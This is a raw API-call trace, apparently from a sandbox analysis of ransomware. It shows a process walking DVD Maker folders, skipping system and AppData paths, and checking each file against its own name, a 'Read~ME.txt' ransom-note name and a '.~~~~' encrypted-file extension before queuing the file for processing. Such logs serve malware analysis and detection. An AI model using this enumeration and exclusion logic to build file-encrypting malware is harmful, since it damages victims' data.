	[0081.947] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0081.947] lstrcmpW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.947] StrStrW (lpFirst="SportsMainToScenesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.947] lstrcmpW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3e00
	[0081.947] GetCurrentThreadId () returned 0x618
	[0081.947] RtlWakeConditionVariable () returned 0x365f48
	[0081.947] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0081.947] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="Windows") returned -1
	[0081.947] lstrcmpW (lpString1="SportsNotesBackground.wmv", lpString2="oiikyy.exe") returned 1
	[0081.947] StrStrW (lpFirst="SportsNotesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0081.947] lstrcmpW (lpString1="SportsNotesBackground.wmv", lpString2="Read~ME.txt") returned 1
	[0081.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.947] GetCurrentThreadId () returned 0x618
	[0081.947] RtlWakeConditionVariable () returned 0x365f48
	[0081.947] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.947] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0081.947] lstrcmpW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.947] StrStrW (lpFirst="SportsNotesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.947] lstrcmpW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.947] GetCurrentThreadId () returned 0x618
	[0081.947] RtlWakeConditionVariable () returned 0x365f48
	[0081.947] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0081.948] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="Windows") returned -1
	[0081.948] lstrcmpW (lpString1="SportsScenesBackground.wmv", lpString2="oiikyy.exe") returned 1
	[0081.948] StrStrW (lpFirst="SportsScenesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0081.948] lstrcmpW (lpString1="SportsScenesBackground.wmv", lpString2="Read~ME.txt") returned 1
	[0081.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.948] GetCurrentThreadId () returned 0x618
	[0081.948] RtlWakeConditionVariable () returned 0x365f48
	[0081.948] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.948] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0081.948] lstrcmpW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.948] StrStrW (lpFirst="SportsScenesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.948] lstrcmpW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.948] GetCurrentThreadId () returned 0x618
	[0081.948] RtlWakeConditionVariable () returned 0x365f48
	[0081.948] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x2, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1
	[0081.948] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="Windows") returned -1
	[0081.948] lstrcmpW (lpString1="sports_disc_mask.png", lpString2="oiikyy.exe") returned 1
	[0081.948] StrStrW (lpFirst="sports_disc_mask.png", lpSrch=".~~~~") returned 0x0
	[0081.948] lstrcmpW (lpString1="sports_disc_mask.png", lpString2="Read~ME.txt") returned 1
	[0081.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0081.948] GetCurrentThreadId () returned 0x618
	[0081.948] RtlWakeConditionVariable () returned 0x365f48
	[0081.948] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x2, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0
	[0081.949] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.950] GetCurrentThreadId () returned 0x618
	[0081.950] RtlWakeConditionVariable () returned 0x365f48
	[0081.951] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1
	[0081.951] lstrcmpiW (lpString1="Stacking", lpString2="Windows") returned -1
	[0081.951] lstrcmpW (lpString1="Stacking", lpString2=".") returned 1
	[0081.951] lstrcmpW (lpString1="Stacking", lpString2="..") returned 1
	[0081.951] lstrcmpW (lpString1="Stacking", lpString2="AppData") returned 1
	[0081.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking", lpSrch="AppData") returned 0x0
	[0081.951] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.951] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking", lpString2="C:\\Windows") returned -1
	[0081.951] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.951] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking", lpString2="C:\\System Volume Information") returned -1
	[0081.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0082.116] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.117] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.117] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.117] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.117] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.117] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0082.117] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.117] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.117] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.117] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.117] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.117] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.117] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0082.117] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0082.117] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0082.117] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0082.117] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0082.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0082.117] GetCurrentThreadId () returned 0x618
	[0082.118] RtlWakeConditionVariable () returned 0x365f48
	[0082.118] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1
	[0082.118] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="Windows") returned -1
	[0082.118] lstrcmpW (lpString1="1047x576_91n92.png", lpString2="oiikyy.exe") returned -1
	[0082.118] StrStrW (lpFirst="1047x576_91n92.png", lpSrch=".~~~~") returned 0x0
	[0082.118] lstrcmpW (lpString1="1047x576_91n92.png", lpString2="Read~ME.txt") returned -1
	[0082.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0082.118] GetCurrentThreadId () returned 0x618
	[0082.118] RtlWakeConditionVariable () returned 0x365f48
	[0082.118] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x2, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0082.118] lstrcmpiW (lpString1="15x15dot.png", lpString2="Windows") returned -1
	[0082.118] lstrcmpW (lpString1="15x15dot.png", lpString2="oiikyy.exe") returned -1
	[0082.118] StrStrW (lpFirst="15x15dot.png", lpSrch=".~~~~") returned 0x0
	[0082.118] lstrcmpW (lpString1="15x15dot.png", lpString2="Read~ME.txt") returned -1
	[0082.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.118] GetCurrentThreadId () returned 0x618
	[0082.118] RtlWakeConditionVariable () returned 0x365f48
	[0082.118] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x2, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1
	[0082.118] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="Windows") returned -1
	[0082.118] lstrcmpW (lpString1="720x480icongraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.118] StrStrW (lpFirst="720x480icongraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.118] lstrcmpW (lpString1="720x480icongraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0082.118] GetCurrentThreadId () returned 0x618
	[0082.119] RtlWakeConditionVariable () returned 0x365f48
	[0082.119] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x2, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1
	[0082.119] lstrcmpiW (lpString1="720_480shadow.png", lpString2="Windows") returned -1
	[0082.119] lstrcmpW (lpString1="720_480shadow.png", lpString2="oiikyy.exe") returned -1
	[0082.119] StrStrW (lpFirst="720_480shadow.png", lpSrch=".~~~~") returned 0x0
	[0082.119] lstrcmpW (lpString1="720_480shadow.png", lpString2="Read~ME.txt") returned -1
	[0082.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0082.119] GetCurrentThreadId () returned 0x618
	[0082.119] RtlWakeConditionVariable () returned 0x365f48
	[0082.119] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0082.119] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0082.119] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.119] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.119] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.119] GetCurrentThreadId () returned 0x618
	[0082.119] RtlWakeConditionVariable () returned 0x365f48
	[0082.119] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0082.119] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0082.119] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.119] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.119] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.119] GetCurrentThreadId () returned 0x618
	[0082.119] RtlWakeConditionVariable () returned 0x365f48
	[0082.120] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0082.120] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0082.120] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.120] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.120] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.120] GetCurrentThreadId () returned 0x618
	[0082.120] RtlWakeConditionVariable () returned 0x365f48
	[0082.120] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0082.120] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0082.120] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.120] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.120] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0082.120] GetCurrentThreadId () returned 0x618
	[0082.120] RtlWakeConditionVariable () returned 0x365f48
	[0082.120] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0082.120] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0082.120] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.120] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.120] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.120] GetCurrentThreadId () returned 0x618
	[0082.121] RtlWakeConditionVariable () returned 0x365f48
	[0082.121] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0082.121] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0082.121] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.121] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.121] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.121] GetCurrentThreadId () returned 0x618
	[0082.121] RtlWakeConditionVariable () returned 0x365f48
	[0082.121] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x2, cFileName="photograph.png", cAlternateFileName="")) returned 1
	[0082.121] lstrcmpiW (lpString1="photograph.png", lpString2="Windows") returned -1
	[0082.121] lstrcmpW (lpString1="photograph.png", lpString2="oiikyy.exe") returned 1
	[0082.121] StrStrW (lpFirst="photograph.png", lpSrch=".~~~~") returned 0x0
	[0082.121] lstrcmpW (lpString1="photograph.png", lpString2="Read~ME.txt") returned -1
	[0082.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.121] GetCurrentThreadId () returned 0x618
	[0082.121] RtlWakeConditionVariable () returned 0x365f48
	[0082.121] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x2, cFileName="photograph.png", cAlternateFileName="")) returned 0
	[0082.121] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0082.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.122] GetCurrentThreadId () returned 0x618
	[0082.122] RtlWakeConditionVariable () returned 0x365f48
	[0082.124] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1
	[0082.124] lstrcmpiW (lpString1="Travel", lpString2="Windows") returned -1
	[0082.124] lstrcmpW (lpString1="Travel", lpString2=".") returned 1
	[0082.124] lstrcmpW (lpString1="Travel", lpString2="..") returned 1
	[0082.124] lstrcmpW (lpString1="Travel", lpString2="AppData") returned 1
	[0082.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel", lpSrch="AppData") returned 0x0
	[0082.124] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.124] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel", lpString2="C:\\Windows") returned -1
	[0082.124] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.124] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel", lpString2="C:\\System Volume Information") returned -1
	[0082.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
